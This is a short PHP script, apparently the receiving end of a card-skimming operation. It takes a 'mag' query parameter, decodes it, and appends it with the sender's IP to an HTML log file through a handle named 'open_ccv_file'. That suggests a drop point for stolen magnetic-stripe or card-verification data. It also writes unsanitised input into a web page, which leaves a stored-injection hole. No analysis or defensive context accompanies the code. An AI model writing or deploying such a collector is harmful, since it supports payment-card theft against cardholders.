<?php
if(isset($_GET['mag'])){
if($_GET['mag']<>''){
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$str = $_GET['mag'];
//$str2= base64_decode($str);
$str2 = rawurldecode($str);
$str2 = $str2."<br>".$ip."<br>::::::::::::::::::::::::::::::::::::::::::::::";
$open_ccv_file = fopen("./new_mag.html","a");
fwrite($open_ccv_file,$str2);
}
}
?>
Comments